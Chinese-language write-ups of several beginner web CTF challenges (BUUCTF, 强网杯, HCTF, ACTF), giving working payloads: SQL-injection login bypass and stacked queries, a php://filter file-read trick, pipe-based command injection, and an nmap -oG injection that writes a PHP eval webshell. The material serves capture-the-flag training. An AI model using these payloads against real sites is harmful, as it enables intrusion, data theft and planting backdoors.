[极客大挑战 2019]EasySQL
题目类型:简单的SQL注入
直接使用万能密码
用户名:
admin
密码:
1'or'1'='1
[极客大挑战 2019]Havefun
题目类型:代码审计
</div>
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:black;"> Syclover @ cl4y</p></div>
</body>
</html>
有一个cat变量,通过get方式传参,如果cat=dog输出flag
使用构造payload:/?cat=dog
[强网杯 2019]随便注
题目类型:SQL注入
查询2时:
查询3时报错,则说明有两个字段
尝试用联合查询
结果报错return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
发现过滤了select|update|delete|drop|insert|where|./i
爆数据库:1';show databases;#
爆表名:`1’; show tables;#
爆表
1'; show columns from words;#
列名:
1'; show columns from '1919810931114514';#
表名为数字时,要用反引号包起来查询。
发现1919810931114514表中有flag
[ACTF2020 新生赛]Include
题目类型:文件包含、PHP封装协议
点击链接:
猜测时文件包含
PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。
php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后经过base64解码就可以看到flag;
payload: /?file=php://filter/read=convert.base64-encode/resource=flag.php
得到base64编码后的内容为:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7Y2U4MzdmMmYtYjI2Mi00ZDYxLWEzOWQtOTE4OWIwYmM0ODZkfQo=
[HCTF 2018]WarmUp
题目类型:PHP代码审计
查看源码,发现有一个source.php文件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
查看此文件,出现一堆PHP代码
发现里面有一个hint.php文件,查看
说明flag在ffffllllaaaagggg里
[ACTF2020 新生赛]Exec
查看文件的目录:`127.0.0.1|ls
查看上级目录127.0.0.1|ls /
找出flag:
[BUUCTF 2018]Online Tool
题目类型:rce + escapeshellarg与escapeshellcmd共用漏洞
escapeshellarg()和escapeshellcmd()函数:
[https://paper.seebug.org/164/]
eg:
<?php
$dir="a'";
$a=escapeshellarg($dir);
$b=escapeshellcmd($a);
$c=escapeshellcmd($dir);
print $a;
echo "\n";
print $b;
echo "\n";
print $c;
?>
执行结果为:
'a'\'''
'a'\\''\'
a\'
单独使用escapeshellarg 和escapeshellcmd 中任意一个都不会出现问题,或者先使用escapeshellcmd再使用escapeshellarg 也不会出现问题,唯有题目中先escapeshellarg 在escapeshellcmd 会有漏洞
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { //获取IP
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__); //对文件语法进行高亮显示
} else {
$host = $_GET['host'];
$host = escapeshellarg($host); //把字符串转码成可以在shell命令里使用的参数,将单引号进行转义,转义之后,再在左右加单引号
$host = escapeshellcmd($host); //对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,将&#;`|*?~<>^()[]{}$\, \x0A和\xFF以及不配对的单/双引号转义
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox); //新建目录,默认权限,最大可能的访问权
chdir($sandbox); //改变目录路径,成功返回true,失败返回false
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
// -sT,在目标主机的日志上记录大批连接请求和错误的信息
// -Pn,扫描之前不需要用ping命令,有些防火墙禁止使用ping命令
// -T5,时间优化参数,-T0~5,-T0扫描端口的周期大约为5分钟,-T5大约为5秒钟
// --host-time限制扫描时间
// -F,快速扫描
system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
所以我们现在需要构造变量host的值,使远程命令/代码能够执行
这里又需要了解一些nmap的知识点:在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件。可以上传一句话木马,再用蚁剑链接,就可以顺利拿到flag了
构造
payload:?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
这里返回文件名,继续用蚁剑链接